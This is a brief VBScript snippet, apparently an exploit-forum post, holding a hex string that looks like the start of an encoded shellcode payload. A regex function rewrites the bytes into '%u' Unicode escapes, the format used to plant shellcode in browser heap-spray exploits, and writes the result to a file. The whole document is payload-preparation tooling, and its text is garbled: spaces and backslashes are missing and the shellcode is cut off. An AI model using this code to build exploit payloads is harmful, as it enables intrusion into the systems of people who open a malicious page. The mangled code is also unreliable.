'codebyNetPatch

code="x29xc9x83xe9xa1xd9xeexd9x74x24xf4x5bx81x73x13x92x06x5bx18x83xebxfcxe2xf4x79x16x01x52xa1xcfx3dxa1xaex07xdbx2cx98x9fxb9xe2x79x03xb3xf3x6dxf9xa4x68xdex9fxc2x81x51xfbx63xb1x0bx9fxc2x0ax4bx93x49xf1x17x32x49xc1x03x14x1ax0ax78xa3…………………………"

functionreplaceregex(str)

setregex=newregExp

regex.pattern="x(..)x(..)"

regex.IgnoreCase=true

regex.global=true

matches=regex.replace(str,"%u$2$1")

replaceregex=matches

endFunction

setfso=CreateObject("scripting.filesystemobject")

setfileS=fso.opentextfile("a.txt",8,true)

fileS.writelinereplaceregex(code)

files.close

setfso=nothing